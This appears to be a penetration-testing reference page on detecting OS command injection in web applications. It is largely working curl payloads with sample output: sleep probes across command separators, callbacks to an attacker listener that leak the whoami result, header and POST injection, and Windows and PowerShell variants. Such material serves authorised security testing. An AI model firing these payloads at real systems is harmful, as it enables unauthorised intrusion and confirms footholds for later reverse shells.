# Command Injection Detection

> Detect command injection vulnerabilities in HTTP/HTTPS services by identifying unsanitized input points that allow OS command execution on the target server.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/command-injection-detection
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-04-24

Command injection detection confirms whether user input reaches an OS command execution context. Target parameters that pass values to system commands: ping, host, nslookup, convert, zip, curl, and similar utility calls. These often appear in network diagnostic tools, file converters, image processors, and search features. Confirmed injection moves to [command injection bypasses](https://hackindex.io/services/web/exploitation/command-injection-bypasses) and then reverse shell delivery.

Detection methods from most reliable to most visible:

- **Time-based**: inject sleep commands and measure response delay
- **Out-of-band**: trigger a callback to your listener to confirm blind execution
- **In-band**: read command output directly reflected in the HTTP response
- **POST and header injection**: test filenames, form fields, and headers like X-Forwarded-For

## Time-Based Command Injection Detection

Sleep-based probes are the safest way to confirm command injection without reading output. A delay matching the sleep value confirms execution:

```bash
time curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bsleep+5"
# real    0m5.132s
```

Test all common command separators: different systems and filter configurations accept different ones:

```bash
for sep in '%3B' '%7C' '%26%26' '%0A' '%60' '$('; do echo -n "sep $sep: "; { time curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1${sep}sleep+3" -o /dev/null; } 2>&1 | grep real; done
# sep %3B: real 0m3.12s
# sep %7C: real 0m0.08s
```

Separator reference: `%3B` is `;`, `%7C` is `|`, `%26%26` is `&&`, `%0A` is a newline, `%60` is a backtick. The separator that causes a delay is the one that works: use it for all subsequent payloads.

## Out-of-Band Detection

When the response does not change regardless of input, use an out-of-band callback to confirm execution. The target connects back to your listener:

```bash
nc -lvnp $LPORT &
curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bcurl+http://$LHOST:$LPORT/cmdi-test"
# GET /cmdi-test HTTP/1.1
# Host: 10.10.14.5:4444
```

An incoming request on your listener confirms blind command injection: the target executed curl and connected to you. Also useful for confirming what user the command runs as by including whoami output in the callback URL:

```bash
curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bcurl+http://$LHOST:$LPORT/\$(whoami)"
# GET /www-data HTTP/1.1
```

## In-Band Detection

When the application reflects command output, simple injection without encoding is enough to confirm:

```bash
curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1;id" | grep -iE 'uid|root|www-data'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## POST Parameter and Header Testing

Command injection also appears in POST parameters, filenames, and HTTP headers processed by the application:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/convert -d 'filename=test.pdf;sleep+5' && echo 'delayed'
```

```bash
curl -sk http://$TARGET_IP:$PORT/ -H 'X-Forwarded-For: 127.0.0.1;sleep 5' && echo 'delayed'
```

## Windows Command Injection

When the target runs on Windows, Linux sleep and curl payloads will not work. Use Windows-native commands for detection. The same separator approach applies: test `&`, `|`, `&&`, `||`, and newline (`%0A`).

### Time-Based (Windows)

`timeout` and `ping` create measurable delays on Windows. `ping -n 5` sends 5 ICMP packets with 1-second intervals, producing a roughly 4-second delay:

```bash
time curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1|ping+-n+5+127.0.0.1"
# real    0m4.312s
```

```bash
time curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1%26timeout+/T+5"
# real    0m5.087s
```

### Environment Variable Probing

Windows environment variables confirm the OS when output is reflected. `%COMSPEC%` resolves to `C:\WINDOWS\system32\cmd.exe` on Windows and stays literal on Linux:

```bash
curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1|echo+%25COMSPEC%25"
# C:\WINDOWS\system32\cmd.exe
```

```bash
curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1|echo+%25OS%25"
# Windows_NT
```

### PowerShell Injection Patterns

Applications calling PowerShell directly accept PowerShell-native payloads. Use `Start-Sleep` for time-based and `Invoke-WebRequest` for out-of-band detection:

```bash
time curl -sk "http://$TARGET_IP:$PORT/run.aspx?cmd=127.0.0.1;Start-Sleep+-Seconds+5"
# real    0m5.201s
```

```bash
curl -sk "http://$TARGET_IP:$PORT/run.aspx?cmd=127.0.0.1;Invoke-WebRequest+http://$LHOST:$LPORT/ps-cmdi"
```

A hit on your listener from the `Invoke-WebRequest` payload confirms blind PowerShell injection. If direct PowerShell execution is blocked, try wrapping with `powershell -c "..."` or `powershell -enc` with a base64-encoded command.

## References

- [PortSwigger: OS Command Injection](https://portswigger.net/web-security/os-command-injection) - Detection methodology and separator reference
- [PayloadsAllTheThings: Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - Separator payloads and blind detection techniques
